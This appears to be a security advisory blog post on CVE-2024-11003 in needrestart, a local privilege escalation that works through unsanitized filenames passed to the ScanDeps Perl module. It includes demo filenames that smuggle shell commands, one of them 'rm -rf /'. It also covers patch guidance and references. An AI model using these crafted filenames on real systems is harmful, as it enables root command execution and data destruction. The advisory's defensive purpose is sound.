TL;DR:
A serious vulnerability (CVE-2024-11003) in needrestart (before version 3.8) lets local attackers run shell commands as the user running needrestart. This is because needrestart sends unsanitized input to a vulnerable Perl module, Modules::ScanDeps. This can lead to full code execution if exploited. Below are the details, code snippets, and references.

What Is needrestart?

needrestart is a handy tool used on many Linux distributions. After you update a package, security best practices say to restart any running processes that use the old, updated files. needrestart automates finding which services needs a restart. That’s why it’s on millions of servers.

The Vulnerability (CVE-2024-11003)

*Discovered by Qualys* (Original Qualys Advisory PDF):

Summary:
needrestart versions before 3.8 use the Modules::ScanDeps Perl module. It passes user-controllable input directly into it, but does not sanitize that input.

Issue:
Modules::ScanDeps (when you give it weirdly crafted file names) will, due to CVE-2024-10224, execute unexpected shell commands under certain conditions. So, if a local attacker can make needrestart analyze a file with a malicious name, they can execute commands as the user (often root).

Note: The underlying bug in ScanDeps is CVE-2024-10224. So, even if needrestart fixes its usage, updating the Perl module is important too.

To exploit this, an attacker needs to

1. Create a file (e.g., a shared library or Perl script) with a specially-crafted name in a location needrestart will scan.
2. Run needrestart or wait for root/admin to run it.

Simple attack demo

Suppose an admin runs needrestart in a directory attackers can write to (like /tmp). The attacker could create a file named like:

touch "/tmp/evil; touch /tmp/pwned; #.so"

Now, when needrestart scans /tmp for libraries or scripts, it processes filenames using ScanDeps.

Depending on needrestart's execution flow and the system’s Perl and ScanDeps version, this can result in a shell command execution:

# The following could be in a victim shell running as root!
touch /tmp/pwned

Here's a conceptual script (for educational research)

# Step 1: The attacker creates a malicious file name
touch "/tmp/evil; id > /tmp/hacked; #.so"

# Step 2: Wait for needrestart to scan files (possibly as root)
sudo needrestart -l /tmp

# Step 3: After execution, attacker checks
cat /tmp/hacked
# Output may show root or high-privilege identity.

NOTE: *Do NOT use this for unauthorized access. This is for defense testing only.*

How It Works

Why does a filename matter?
The Perl module *Modules::ScanDeps* uses system() or similar internally when analyzing library names. If input isn’t sanitized, a filename like foo; rm -rf /; #.so becomes a shell command.

How to Fix

- Upgrade needrestart to 3.8 or later: Release notes
- Update Modules::ScanDeps: Fixes for CVE-2024-10224 are in v1.34+ (Changelog)

References

- Qualys Security Advisory PDF
- Debian Security Tracker entry
- needrestart GitHub repo
- Modules::ScanDeps on MetaCPAN
- CVE-2024-10224 Metadata

Final Notes

This bug is a classic "input not sanitized” problem—made more dangerous by relying on third-party modules to behave safely. Local privilege escalation is a serious risk on shared systems. Always keep privilege-separation tools up to date and audit your automated workflows for user input hazards.

*Want to stay safe? Update both needrestart and Perl modules, and restrict what local users can get scanned by system maintenance tools!*


*For defenders: Make sure your audits catch these hidden chains. For researchers: Always check file path handling, even in core utilities. For everyone else: keep systems patched!*

Timeline

Published on: 11/19/2024 18:15:19 UTC
Last modified on: 11/19/2024 21:56:45 UTC